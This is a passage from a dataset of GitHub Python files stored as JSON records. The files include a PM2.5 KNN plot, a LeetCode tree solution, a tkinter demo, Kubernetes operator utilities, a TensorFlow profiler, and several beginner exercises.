ylabel='真实等级',xticklabels=[1,2,3,4,5],yticklabels=[1,2,3,4,5],cmap=plt.cm.gray_r,fmt=\"%d\")\r\n#plt.title(\"混淆矩阵\")\r\nplt.gca().invert_yaxis()\r\nplt.xticks(fontsize=25)\r\nplt.yticks(fontsize=25)\r\nplt.xlabel(\"预测等级\",fontsize=27)\r\nplt.ylabel(\"真实等级\",fontsize=27)\r\nplt.show()\r\nprint(classification_report(y_text,pred))\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"yopo520/PM2.5-prediction-of-Baoji","sub_path":"PM2.5预测/KNN预测.py","file_name":"KNN预测.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"4340668276","text":"# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\n\"\"\"version 1, 40ms, 99.51%\n給兩個list，分別代表左右子樹\n以對稱的方式不斷更新兩邊的list\n用的方法基本上是LevelOrder\n\"\"\"\ndef compare_tree_recursive(left_lt, right_lt):\n    if len(left_lt) == 0:\n        return True\n    else:\n        lnode = left_lt.pop(0)\n        rnode = right_lt.pop(0)\n        \n        if lnode.val != rnode.val:\n            return False\n        else:\n            if lnode.left != None and rnode.right != None:\n                left_lt.append(lnode.left)\n                right_lt.append(rnode.right)\n            elif lnode.left != None or rnode.right != None:\n                return False\n            \n            if lnode.right != None and rnode.left != None:\n                left_lt.append(lnode.right)\n                right_lt.append(rnode.left)\n            elif lnode.right != None or rnode.left != None:\n                return False\n                \n    return compare_tree_recursive(left_lt, right_lt)\n\nclass Solution:\n    def isSymmetric(self, root: TreeNode) -> bool:\n        if root == None:\n            return True\n        return compare_tree_recursive([root], [root])\n\n\n\"\"\"version 1, 40ms, 99.51%\n方法同上，改成不用遞迴而已\n\"\"\"\n\ndef isSymIterative(root):\n    lt = [root, root]\n    \n    while len(lt) > 0:\n        lnode = lt.pop(0)\n        rnode = lt.pop(0)        \n\n        if lnode.val != rnode.val:\n            return False\n        else:\n            if lnode.left != None and rnode.right != None:\n                lt.append(lnode.left)\n                lt.append(rnode.right)\n            elif lnode.left != None or rnode.right != None:\n                return False\n            \n            if lnode.right != None and rnode.left != None:\n                lt.append(lnode.right)\n                lt.append(rnode.left)\n            elif lnode.right != None or rnode.left != None:\n                return False\n        \n    return True\n\n\nclass Solution:\n    def isSymmetric(self, root: TreeNode) -> bool:\n        if root == None:\n            return True\n        return isSymIterative(root)\n","repo_name":"aaronyen0/LeetCode-Algorithm","sub_path":"No101_v01 Symmetric Tree.py","file_name":"No101_v01 Symmetric Tree.py","file_ext":"py","file_size_in_byte":2216,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37304773027","text":"# Challenge 138\n\nfrom tkinter import *\n\ndef display_img():\n    num = int(text_box.get())\n    text_box.delete(0, END)\n    img_dict = {0:\"main-image.png\",\n                1:\"ai-robot.png\",\n                2:\"copilot-header.png\",\n                3:\"robot-ico.png\"\n            }\n    photo = PhotoImage(file=img_dict[num])\n    img_label.image = photo\n    img_label[\"image\"] = photo\n\nroot = Tk()\nroot.geometry(\"360x550\")\n\npic = PhotoImage(file=\"main-image.png\")\nimg_label = Label(image=pic)\nimg_label.pack()\n\ntext_label = Label(text=\"Enter a number:\")\ntext_label.pack()\n\ntext_box = Entry(justify='center')\ntext_box.pack()\ntext_box.focus()\n\nbtn = Button(text=\"Display\", command=display_img)\nbtn.pack()\n\nroot.mainloop()","repo_name":"Jonikulov/python-by-example","sub_path":"138.py","file_name":"138.py","file_ext":"py","file_size_in_byte":711,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"4066533062","text":"import os\nimport uuid\nimport time\nimport asyncio\nimport contextlib\nimport threading\n\nimport digi\nimport inflection\nimport logging\nfrom typing import (\n    Tuple, Callable, Union, Any, Iterable\n)\nfrom functools import reduce\n\nimport kubernetes\nfrom kubernetes import config\nfrom kubernetes.client.rest import ApiException\n\nimport kopf\nfrom kopf._core.intents.registries import SmartOperatorRegistry as KopfRegistry\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(digi.log_level)\n\ntry:\n    # use service config\n    config.load_incluster_config()\nexcept:\n    # use kubeconfig\n    config.load_kube_config()\n\n\nclass DriverError:\n    GEN_OUTDATED = 41\n\n\n_api = kubernetes.client.CustomObjectsApi()\n\ndef run_operator(registry: KopfRegistry,\n                 log_level=logging.INFO,\n                 skip_log_setup=False,\n                 ) -> Tuple[threading.Event, threading.Event]:\n    clusterwide = os.environ.get(\"CLUSTERWIDE\", True)\n    kopf_logging = os.environ.get(\"KOPFLOG\", \"true\") == \"true\"\n    if not kopf_logging:\n        kopf_logger = logging.getLogger(\"kopf\")\n        kopf_logger.propagate = False\n        kopf_logger.handlers[:] = [logging.NullHandler()]\n\n    ready_flag = threading.Event()\n    stop_flag = threading.Event()\n\n    def kopf_thread():\n        loop = asyncio.new_event_loop()\n        asyncio.set_event_loop(loop)\n        with contextlib.closing(loop):\n            if not skip_log_setup:\n                # XXX (@kopf) disallow kopf configure root logger\n                kopf.configure(verbose=log_level <= logging.DEBUG,\n                               debug=log_level <= logging.DEBUG,\n                               quiet=kopf_logging and log_level <= logging.INFO)\n            loop.run_until_complete(kopf.operator(\n                ready_flag=ready_flag,\n                stop_flag=stop_flag,\n                registry=registry,\n                clusterwide=clusterwide,\n            ))\n\n    thread = threading.Thread(target=kopf_thread)\n    thread.start()\n    logger.info(f\"started an operator\")\n    return ready_flag, stop_flag\n\n\nclass NamespacedName:\n    def __init__(self, n, ns=\"default\"):\n        self.name = n\n        self.namespace = ns\n\n\ndef uuid_str(length=4):\n    return str(uuid.uuid4())[:length]\n\n\ndef spaced_name(n, ns) -> str:\n    return f\"{ns}/{n}\"\n\n\ndef trim_default_space(n):\n    return n.replace(\"default/\", \"\")\n\n\ntrim_namespace = trim_default_namespace = trim_default_space\n\n\ndef simple_name(n):\n    return trim_default_space(n)\n\n\ndef trim_gv(gvr):\n    return gvr.split(\"/\")[-1]\n\n\ndef gvr_from_body(b):\n    g, v = tuple(b[\"apiVersion\"].split(\"/\"))\n    r = inflection.pluralize(b[\"kind\"].lower())\n    return g, v, r\n\n\ndef trim_attr(spec: dict, attrs: set) -> dict:\n    # BFS\n    to_visit = [spec]\n    for n in to_visit:\n        to_trim = list()\n        if type(n) is not dict:\n            continue\n        for k, v in n.items():\n            if k not in attrs:\n                to_visit.append(v)\n            else:\n                to_trim.append(k)\n        for k in to_trim:\n            n.pop(k, {})\n    return spec\n\n\ndef apply_diff(model: dict, diff: list) -> dict:\n    for op, fs, old, new in diff:\n        if len(fs) == 0:\n            continue\n        if op in {\"add\", \"change\"}:\n            n = model\n            for f in fs[:-1]:\n                if f not in n:\n                    n[f] = dict()\n                n = n[f]\n            n[fs[-1]] = new\n    return model\n\n\ndef parse_spaced_name(nsn) -> Tuple[str, str]:\n    parsed = nsn.split(\"/\")\n    if len(parsed) < 2:\n        return parsed[0], \"default\"\n    # name, namespace\n    return parsed[1], parsed[0]\n\n\ndef parse_gvr(gvr: str) -> Tuple[str, str, str]:\n    parsed = tuple(gvr.lstrip(\"/\").split(\"/\"))\n    if len(parsed) == 1:\n        return digi.group, digi.version, parsed[0]\n    elif len(parsed) == 3:\n        g, v, r = parsed\n        return g, v, r\n    else:\n        raise Exception(f\"{gvr} not in form of \"\n                        f\"'[/]group/version/(kind or resource)'\")\n\n\nparse_kind = parse_gvr\n\n\ndef model_id(g, v, r, n, ns) -> str:\n    return f\"{g}/{v}/{r}/{spaced_name(n, ns)}\"\n\n\ndef gvr(g, v, r) -> str:\n    return f\"{g}/{v}/{r}\"\n\n\ndef gvr_from_kind(kind, g=digi.g, v=digi.v):\n    return f\"{g}/{v}/{inflection.pluralize(kind)}\"\n\n\ngvr_of = gvr_from_kind\n\n\ndef is_gvr(s: str) -> bool:\n    return len(s.split(\"/\")) == 3\n\n\ndef normalized_gvr(s, g, v) -> str:\n    r = s.split(\"/\")[-1]\n    return f\"{g}/{v}/{r}\"\n\n\ndef normalized_nsn(s: str) -> str:\n    if \"/\" not in s:\n        return \"default/\" + s\n    else:\n        return s\n\n\ndef safe_attr(s):\n    return s.replace(\".\", \"-\")\n\n\ndef parse_model_id(s) -> Tuple[str, str, str, str, str]:\n    ps = s.lstrip(\"/\").split(\"/\")\n    assert len(ps) in {4, 5}\n    if len(ps) == 4:\n        return ps[0], ps[1], ps[2], ps[3], \"default\"\n    return ps[0], ps[1], ps[2], ps[4], ps[3]\n\n\ndef get_spec(g, v, r, n, ns) -> Tuple[dict, str, int]:\n    global _api\n\n    try:\n        o = _api.get_namespaced_custom_object(group=g,\n                                              version=v,\n                                              namespace=ns,\n                                              name=n,\n                                              plural=r,\n                                              )\n    except ApiException as e:\n        logger.warning(f\"unable to get model {n}:\", e)\n        return None\n    return o.get(\"spec\", {}), \\\n           o[\"metadata\"][\"resourceVersion\"], \\\n           o[\"metadata\"][\"generation\"]\n\n\ndef patch_spec(g, v, r, n, ns, spec: dict, rv=None):\n    global _api\n    try:\n        resp = _api.patch_namespaced_custom_object(group=g,\n                                                   version=v,\n                                                   namespace=ns,\n                                                   name=n,\n                                                   plural=r,\n                                                   body={\n                                                       \"metadata\": {} if rv is None else {\n                                                           \"resourceVersion\": rv,\n                                                       },\n                                                       \"spec\": spec,\n                                                   },\n                                                   )\n        return resp, None\n    except ApiException as e:\n        return None, e\n\n\ndef check_gen_and_patch_spec(g, v, r, n, ns, spec, gen):\n    # patch the spec atomically if the current gen is\n    # less than the given spec\n    while True:\n        _, rv, cur_gen = get_spec(g, v, r, n, ns)\n        if gen < cur_gen:\n            e = ApiException()\n            e.status = DriverError.GEN_OUTDATED\n            e.reason = f\"generation outdated {gen} < {cur_gen}\"\n            return cur_gen, None, e\n\n        resp, e = patch_spec(g, v, r, n, ns, spec, rv=rv)\n        if e is None:\n            return cur_gen, resp, None\n        if e.status == 409:\n            logger.info(f\"unable to patch {n} due to conflict; retry\")\n        else:\n            logger.warning(f\"patch error {e}\")\n            return cur_gen, resp, e\n\n\n# utils\ndef put(path, src, target, transform=lambda x: x):\n    if not isinstance(target, dict):\n        return\n\n    ps = path.split(\".\")\n    for p in ps[:-1]:\n        if p not in target:\n            return\n        target = target[p]\n\n    if not isinstance(src, dict):\n        if src is None:\n            target[ps[-1]] = None\n        else:\n            target[ps[-1]] = transform(src)\n        return\n\n    for p in ps[:-1]:\n        if p not in src:\n            return\n        src = src[p]\n    target[ps[-1]] = transform(src[ps[-1]])\n\n\ndef deep_get(d: dict, path: Union[str, Iterable], default=None) -> Any:\n    \"\"\"Can accept paths in form root.'digi.dev/test'.control.power\"\"\"\n    if \"'\" in path or '\"' in path:\n        path = path.replace('\"', \"'\")\n        parsed = list()\n        for i, seg in enumerate(path.split(\"'\")):\n            if seg == \"\":\n                continue\n            if i % 2 != 0:\n                parsed.append(seg)\n            else:\n                parsed += seg.strip(\".\").split(\".\")\n        path = parsed\n    else:\n        path = path.split(\".\") if isinstance(path, str) else path\n    return reduce(lambda _d, key: _d.get(key, default)\n    if isinstance(_d, dict) else default, path, d)\n\n\ndef deep_set(d: dict, path: Union[str, Iterable], val: Any, create=True):\n    if not isinstance(d, dict):\n        return\n    if isinstance(path, str):\n        keys = path.split(\".\")\n    elif isinstance(d, Iterable):\n        keys = path\n    else:\n        return\n    for k in keys[:-1]:\n        if k not in d:\n            if create:\n                d[k] = {}\n            else:\n                return\n        d = d[k]\n    d[keys[-1]] = val\n\n\ndef get_inst(d: dict, gvr_str) -> dict:\n    inst = dict()\n    for _n, body in d.get(gvr_str, {}).items():\n        i = body.get(\"spec\", None)\n        if i is not None:\n            inst[_n] = i\n    return inst\n\n\ndef deep_set_all(ds, path: str, val):\n    if isinstance(ds, list):\n        for d in ds:\n            deep_set(d, path, val)\n    elif isinstance(ds, dict):\n        for _, d in ds.items():\n            deep_set(d, path, val)\n\n\ndef mount_size(mounts: dict, gvr_set: set = None,\n               has_spec=False, cond: Callable = lambda x: True):\n    count = 0\n    for typ, models in mounts.items():\n        if gvr_set is not None and typ not in gvr_set:\n            continue\n\n        for _, m in models.items():\n            if not cond(m):\n                continue\n            if has_spec:\n                count += 1 if \"spec\" in m else 0\n            else:\n                count += 1\n    return count\n\n\ndef typ_attr_from_child_path(child_path):\n    return child_path[2], child_path[-2]\n\n\ndef first_attr(attr, d: dict):\n    if type(d) is not dict:\n        return None\n    if attr in d:\n        return d[attr]\n    for k, v in d.items():\n        v = first_attr(attr, v)\n        if v is not None:\n            return v\n    return None\n\n\ndef first_type(mounts):\n    if type(mounts) is not dict or len(mounts) == 0:\n        return None\n    return list(mounts.keys())[0]\n\n\ndef full_gvr(a: str) -> str:\n    # full gvr: group/version/plural\n    if len(a.split(\"/\")) == 1:\n        return \"/\".join([os.environ[\"GROUP\"],\n                         os.environ[\"VERSION\"],\n                         a])\n    else:\n        return a\n\n\ndef gvr_equal(a: str, b: str) -> bool:\n    return full_gvr(a) == full_gvr(b)\n\n\n# TBD deprecate\nclass Auri:\n    def __init__(self, **kwargs):\n        self.group = str(kwargs[\"group\"])\n        self.version = str(kwargs[\"version\"])\n        self.kind = str(kwargs[\"kind\"]).lower()\n        self.resource = inflection.pluralize(self.kind)\n        self.name = str(kwargs[\"name\"])\n        self.namespace = str(kwargs[\"namespace\"])\n        self.path = str(kwargs[\"path\"])\n\n    def gvr(self) -> tuple:\n        return self.group, self.version, self.resource\n\n    def gvk(self) -> tuple:\n        return self.group, self.version, self.kind\n\n    def auri(self):\n        return self.group, self.version, self.resource, self.name, self.namespace\n\n    def __repr__(self):\n        return self.__str__()\n\n    def __str__(self):\n        return f\"\" \\\n               f\"/{self.group}\" \\\n               f\"/{self.version}\" \\\n               f\"/{self.kind}\" \\\n               f\"/{self.namespace}\" \\\n               f\"/{self.name}{self.path}\"\n\n\ndef parse_auri(s: str) -> Auri or None:\n    ps = s.partition(\".\")\n    main_segs = ps[0].lstrip(\"/\").split(\"/\")\n    attr_path = \"\" if len(ps) < 2 else \".\" + ps[2]\n\n    parsed = {\n        2: lambda x: {\n            \"group\": \"digi.dev\",\n            \"version\": \"v1\",\n            \"kind\": x[0],\n            \"name\": x[1],\n            \"namespace\": \"default\",\n            \"path\": attr_path,\n        },\n        3: lambda x: {\n            \"group\": \"digi.dev\",\n            \"version\": \"v1\",\n            \"kind\": x[0],\n            \"name\": x[2],\n            \"namespace\": x[1],\n            \"path\": attr_path,\n        },\n        5: lambda x: {\n            \"group\": x[0],\n            \"version\": x[1],\n            \"kind\": x[2],\n            \"name\": x[3],\n            \"namespace\": x[4],\n            \"path\": attr_path,\n        },\n    }.get(len(main_segs), lambda: {})(main_segs)\n\n    if parsed is None:\n        return None\n    return Auri(**parsed)\n\n\nclass Loop(threading.Thread):\n    def __init__(self, loop_fn: callable,\n                 loop_interval: float = 1, *,\n                 loop_interval_fn: Callable = None,\n                 ):\n        threading.Thread.__init__(self)\n        self.loop_fn = loop_fn\n        self.loop_interval = loop_interval\n        self.loop_interval_fn: Callable = loop_interval_fn\n        self._stop_flag = threading.Event()\n        self._stop_flag.set()\n\n    def run(self):\n        self._stop_flag.clear()\n        while not self._stop_flag.is_set():\n            self.loop_fn()\n            if self.loop_interval_fn is None:\n                i = self.loop_interval\n            else:\n                i = self.loop_interval_fn()\n            time.sleep(i)\n\n    def stop(self):\n        if self._stop_flag.is_set():\n            return\n\n        self._stop_flag.set()\n        self.join()\n    def reset(self, loop_interval: float = None,\n              loop_interval_fn: Callable = None) -> None:\n        if loop_interval is not None:\n            self.loop_interval = loop_interval\n            self.loop_interval_fn = loop_interval_fn\n        self.stop()\n\n\nclass Loader(Loop):\n    def __init__(self, load_fn: callable,\n                 load_interval: float = 1, *,\n                 load_interval_fn: Callable = None,\n                 ):\n        super().__init__(loop_fn=load_fn,\n                         loop_interval=load_interval,\n                         loop_interval_fn=load_interval_fn)\n\n    def reset(self, load_interval: float = None,\n              load_interval_fn: Callable = None) -> None:\n        super().reset(loop_interval=load_interval,\n                      loop_interval_fn=load_interval_fn)\n\n\n_report_loops = dict()\n\n\ndef report_loop(fn: Callable):\n    global _report_loops\n    _report_loops[fn.__name__] = Loader(load_fn=fn)\n\n    @digi.on.meta\n    def do_meta(meta):\n        i = meta.get(\"report_interval\", -1)\n        _report_loops[fn.__name__].stop()\n        if i > 0:\n            _loop = digi.util.Loader(\n                load_fn=fn,\n                load_interval=i,\n            )\n            _report_loops[fn.__name__] = _loop\n            _loop.start()\n\n\ndef name_from_auri(auri: tuple):\n    return auri[3]\n\n\nupdate = deep_set\nget = deep_get\n","repo_name":"digi-project/digi","sub_path":"driver/digi/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":14568,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"37"}
+{"seq_id":"784386057","text":"\"\"\"This is an initial pseudo-revision of the 'obscore' tree.\n\nRevision ID: 8b8e030aba2b\nRevises:\nCreate Date: 2022-10-27 16:03:57.771563\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = \"8b8e030aba2b\"\ndown_revision = None\nbranch_labels = (\"obscore\",)\ndepends_on = None\n\n\ndef upgrade() -> None:\n    raise NotImplementedError()\n\n\ndef downgrade() -> None:\n    raise NotImplementedError()\n","repo_name":"lsst-dm/daf_butler_migrate","sub_path":"migrations/obscore/8b8e030aba2b.py","file_name":"8b8e030aba2b.py","file_ext":"py","file_size_in_byte":441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"5372791688","text":"import random\nn=int(input(\"Enter limit for your list => \"))\nl1=[]\nl2=[]\nl3=[]\nc=0\nc1=0\nc2=0\nfor i in range(1,n+1):\n    x=random.randint(1,30)\n    l1.append(x)\n    c=c+1\n\n    if x%2==0:\n        l2.append(x)\n        c1=c1+1\n    else:\n        l3.append(x)\n        c2=c2+1\n\nprint(l1)\n\nprint(\"Even List =>\",l2)\nprint(\"Odd List =>\",l3)\nprint(\"\\nl1 count => \",c)\nprint(\"even number list count=> \",c1)\nprint(\"odd number list count=> \",c2)","repo_name":"akshatshah813/pythonProject","sub_path":"p85 sorting out a list.py","file_name":"p85 sorting out a list.py","file_ext":"py","file_size_in_byte":430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"27394651473","text":"# a) Добавьте игру против бота\n\nimport random\n\nprint('Играем в игру. У нас 2021 конфета, за ход можно брать не более 28. Тот, кто забирает последнюю, получает все конфеты.')\nturn = 2021\na = 1\n\ndef Check(s):\n    if s not in range (1, 29):\n        print('По правилам игры, можно брать не более 28 конфет за ход и не меньше одной (иначе мы никогда не закончим игру).')\n        print('Попробуем еще раз!')\n        return False\n    else:\n        return True\n\nwhile turn > 0:\n    if a == 1:\n        x = int(input(f'Игрок 1, сколько конфет вы хотите забрать? '))\n        while not Check(x):\n            x = int(input(f'Игрок 1, сколько конфет вы хотите забрать? '))\n            Check(x)\n    else:\n        x = (random.randint (1, 28))\n        print(f'Игрок 2 (компьютер) забрал {x} конфет')\n    a = - a\n    turn -= x\n    print(f'Осталось {turn} конфет')\n\nprint()\nif a == 1:\n    print('Готовьтесь к восстанию машин!')\nelse:\n    print('Первый игрок, поздравляем с победой!')","repo_name":"nastya-almighty/python","sub_path":"home assignment/5/task2.a.py","file_name":"task2.a.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"70561638509","text":"import numpy as np\nimport tensorflow as tf\nimport re\nimport itertools\nimport os\nimport json\nfrom pipeline import model_fn\n\n\nconfig_dict =dict()\nif os.path.exists(\"config.json\"):\n    with open(\"config.json\", \"r\") as f:\n        config_dict = json.load(f)\nbatch_size = config_dict.get(\"batch_size\", 6)\nmodel_name = config_dict.get(\"model_name\", \"bert\")\n\nwith tf.device(\"/device:GPU:0\"):\n    tf.get_variable_scope()._reuse = tf.AUTO_REUSE\n    loss,output,scopes = model_fn(batch_size,model_name)\n    #vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES)\n    #gradients = tf.compat.v1.gradients(loss, vars, colocate_gradients_with_ops=True)\n    train_op =tf.train.GradientDescentOptimizer(0.2).minimize(loss)\n    init_op = tf.global_variables_initializer()\n    graph =tf.get_default_graph()\n    placeholders = [node.outputs[0] for node in graph.get_operations() if node.node_def.op == 'Placeholder']\n    shapes = [(p.shape.as_list()) for p in placeholders]\n    for shape in shapes:\n        shape[0] = batch_size\n    input_dict = {p: np.random.rand(*shapes[i]) for i, p in enumerate(placeholders)}\nconfig = tf.ConfigProto()\nconfig.allow_soft_placement=True\nsess = tf.Session(config=config)\nsess.run(init_op)\nimport time\nrun_meta = tf.compat.v1.RunMetadata()\nrun_opt = tf.compat.v1.RunOptions(trace_level=tf.RunOptions.FULL_TRACE)  # , output_partition_graphs=True)\nfor i in range(10):#warm up\n    sta = time.time()\n    sess.run([train_op,loss], feed_dict=input_dict)\n    print(\"time:\",time.time()-sta)\nsess.run([train_op,loss], options=run_opt, run_metadata=run_meta, feed_dict=input_dict)\n\nresult = {}\nlayer_result = {item:[0,0,0,0] for item in scopes}\ntimes = {}\nnames = []\nscope_name_dict = {item:[] for item in scopes}\nwith open(\"graph.pbtxt\",\"w\") as f:\n    f.write(str(tf.get_default_graph().as_graph_def(add_shapes=True)))\nfor dev in run_meta.step_stats.dev_stats:\n    if 'Kernel' not in dev.device and 'stream' not in dev.device:  # TODO: if no GPU data for this op, use the CPU data\n        continue\n    for node in dev.node_stats:\n        name = node.node_name.split(':')[0]\n        if name not in result:\n            result[name] = [float('inf'), 0]\n        result[name][0] = min(result[name][0], node.all_start_micros)\n        result[name][1] = max(result[name][1], node.all_start_micros + node.all_end_rel_micros)\n        if name not in names:\n            names.append(name)\n\n\n# layer time\nprint(scopes)\nfor name in names:\n    if \"gradients\" in name:\n        scope = name.split(\"/\")[1]\n        if scope not in scopes:\n            print(scope)\n            continue\n        scope_name_dict[scope].append(name)\n        if scope not in layer_result:\n            layer_result[scope] = [0, 0, 0, 0]\n        layer_result[scope][1] += (result[name][1] - result[name][0])\n    else:\n        scope = name.split(\"/\")[0]\n        if scope not in scopes:\n            print(scope)\n            continue\n        scope_name_dict[scope].append(name)\n        if scope not in layer_result:\n            layer_result[scope] = [0, 0, 0, 0]\n        layer_result[scope][0] += (result[name][1] - result[name][0])\n\n\n#parameter size\nfor scope in scopes:\n    total_parameters = 0\n    vars = tf.get_collection(tf.GraphKeys.GLOBAL_VARIABLES,scope=scope)\n    for variable in vars:\n        shape = variable.get_shape()\n        variable_parameters = 1\n        for dim in shape:\n            variable_parameters *= dim.value\n        total_parameters += variable_parameters\n    layer_result[scope][3] = total_parameters*4\n\n\n#activation size\nassert(len(output)==len(scopes))\nfor i,tensor in enumerate(output):\n    shape = tensor.get_shape()\n    variable_parameters = 1\n    for dim in shape:\n        variable_parameters *= dim.value\n    scope_name = scopes[i]\n    if i==0:\n        layer_result[scope_name][2] = variable_parameters * 4*3\n    else:\n        layer_result[scope_name][2] = variable_parameters*4\n\n#for i,layer_name in enumerate(layer_result):\n#    index = order_scopes.index(layer_name)\n#    if index==0:\n#        continue\n#    layer_result[layer_name][0] = max(layer_result[layer_name][0],layer_result[order_scopes[index-1]][1])\n\n\nimport json\nwith open(\"profile.json\",\"w\") as f:\n    json.dump(layer_result,f,indent=2,sort_keys=True)\n\nwith open(\"scope_name_dict.json\",\"w\") as f:\n    json.dump(scope_name_dict,f,indent=2,sort_keys=True)\n\n\ngraph = tf.get_default_graph()\noperation_names = [item.name for item in graph.get_operations()]\n\n\ncontents = []\nfor i,scope in enumerate(scopes):\n    contents.append(\"node{} -- {} -- forward_compute_time={}, backward_compute_time={}, activation_size={}, parameter_size={}\\n\".format(i,scope,layer_result[scope][0]/1000,layer_result[scope][1]/1000,layer_result[scope][2],layer_result[scope][3]))\nfor i in range(len(scopes)-1):\n    contents.append(\"\\tnode{} -- node{}\\n\".format(i,i+1))\nwith open(\"graph.txt\",\"w\") as f:\n    f.writelines(contents)\n\n\nimport json\nwith open(\"run_meta.pbtxt\",\"w\") as f:\n    f.write(str(run_meta))\n\n'''\nresult = {}\nnames = [item.op.name for item in output]\nreverse_names = find_bp_point(graph,names,operation_names)\nfor dev in run_meta.step_stats.dev_stats:\n    for node in dev.node_stats:\n        name = node.node_name\n        if \":\" in name:\n            name = name.split(':')[0]\n        if name in names:\n            result[name] = node.all_start_micros + node.all_end_rel_micros\n\nprint(len(result),len(names))\nassert(len(result)==len(names))\nfor dev in run_meta.step_stats.dev_stats:\n    for node in dev.node_stats:\n        name = node.node_name\n        if \":\" in name:\n            name = name.split(':')[0]\n        if name in reverse_names:\n            result[name] = node.all_start_micros + node.all_end_rel_micros\n\nprint(len(result),len(reverse_names))\nassert(len(result)==len(names)+len(reverse_names))\nwith open(\"profile1.json\",\"w\") as f:\n    json.dump(result,f,indent=2,sort_keys=True)\n\n'''","repo_name":"yxd886/pipeline","sub_path":"ziyue_proj/profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":5841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"34021140980","text":"import sys\nfrom itertools import permutations\n\nlines = [e.strip() for e in open(sys.argv[1], 'r').read().split('\\n')[:-1]]\n\noriginals = {\n    \"abcefg\": 0,\n    \"cf\": 1,\n    \"acdeg\": 2,\n    \"acdfg\": 3,\n    \"bcdf\": 4,\n    \"abdfg\": 5,\n    \"abdefg\": 6,\n    \"acf\": 7,\n    \"abcdefg\": 8,\n    \"abcdfg\": 9,\n}\n\ncount = 0\nfor line in lines:\n    input, output = line.split('|')\n\n    for permutation in permutations(\"abcdefg\"):\n        letters = \"abcdefg\"\n        possible_map = {letters[i]: permutation[i] for i in range(7)}\n\n        unpossible = False\n        for value in input.split():\n            new = \"\".join(sorted([possible_map[c] for c in value]))\n            if new not in originals:\n                unpossible = True\n                break\n\n        if unpossible:\n            continue\n\n        output_value = 0\n        place = 1000\n        for value in output.split():\n            final_output = \"\".join(sorted([possible_map[c] for c in value]))\n            output_value += originals[final_output] * place\n            place /= 10\n\n        count += output_value\n        break\n\nprint(int(count))\n","repo_name":"roblass/advent_of_code","sub_path":"2021/08/two.py","file_name":"two.py","file_ext":"py","file_size_in_byte":1091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"43203932174","text":"\"\"\"\nEx 98 - Make a program that has a grades function()\nthat can receive multiple grades from a student\nand will return a dictionary with the following information:\n- Quantity of school grades\n- the highest grade\n- the lowest grade\n- the class's mean\n- the situation of the student (optional)\nPS: add too docstrings\n\"\"\"\n\n\ndef notes(*num, sit=False):  # Function to return a dictionary and check all the conditions\n    \"\"\" \n    => Program that checks the quantify of school grades, highest, lowest, the class mean and the student's situation\n    :param num: variable that receive the amount of notes\n    :param sit: (optional) if wish know the student's situation set sit=True\n    :return: return everything in a dictionary.\n    \"\"\"\n\n    dictionary = dict()\n    s = 0\n    tot_sum = 0\n    for c in num:   # Sum the total grades school\n        s += 1\n        tot_sum = tot_sum + c\n    dictionary['Total'] = s\n    dictionary['Lowest'] = min(num)\n    dictionary['Highest'] = max(num)\n    m = tot_sum / s\n    dictionary['Mean'] = round(m, 2)\n    if sit:  # check if the situation is True or False\n        if m > 7:\n            dictionary['Situation'] = 'Approved'\n        else:\n            dictionary['Situation'] = 'Reproved'\n    return dictionary\n\n\nprint('-' * 60)\nhelp(notes)  # print the docstrings to the user understand how the function works\nprint('-' * 60)\nresp = notes(8.8, 6.5, 9.5, sit=True)  # The notes that the student got and the situation\nprint(resp)\n\ninput('\\nEnter to exit')\n","repo_name":"Kevinwmiguel/PythonExercises","sub_path":"Ex 1 to 101/Ex98.py","file_name":"Ex98.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"6828423247","text":"import pandas as pd\nimport numpy as np\nfrom math import log2\nimport time\nimport matplotlib.pyplot as plt\n\ndef entropy(class0, class1):\n    if class0==0 or class1==0:\n        return 0\n    return -(class0 * log2(class0) + class1 * log2(class1))\n\ndef information_gain(data, val, m):\n    label = data[:,-1]\n    n = len(label)\n    no_pos_label = np.count_nonzero(label)\n    no_neg_label = n - no_pos_label\n    \n    original_entropy = entropy(no_pos_label/n, no_neg_label/n)\n    \n    largest_mutual = -1\n    index = -1\n    value = val\n    groups = None\n    \n#     features = []\n#     while len(features) < m:\n#         idx = np.random.randint(len(data[0])-1)\n#         if idx not in features:\n#             features.append(idx)\n\n#     for i in features:\n#     for i in random.sample(range(len(data[0])-1), m):\n    for i in np.random.choice(len(data[0])-1, m, replace=False):\n        left_idx = data[:, i] < val\n        l = data[left_idx]\n        n_l = len(l)\n        n_l_pos = np.count_nonzero(l[:,-1])\n        n_l_neg = n_l-n_l_pos\n        \n        right_idx = data[:, i] >= val\n        r = data[right_idx]\n        n_r = len(r)\n        n_r_pos = np.count_nonzero(r[:,-1])\n        n_r_neg = n_r-n_r_pos\n        \n        l_entropy = entropy(n_l_pos/n_l, n_l_neg/n_l) if n_l != 0 else 0\n        r_entropy = entropy(n_r_pos/n_r, n_r_neg/n_r) if n_r != 0 else 0\n        conditional_entropy = (n_l/n) * l_entropy + (n_r/n) * r_entropy\n        mutual_information = original_entropy - conditional_entropy\n        if mutual_information > largest_mutual:\n            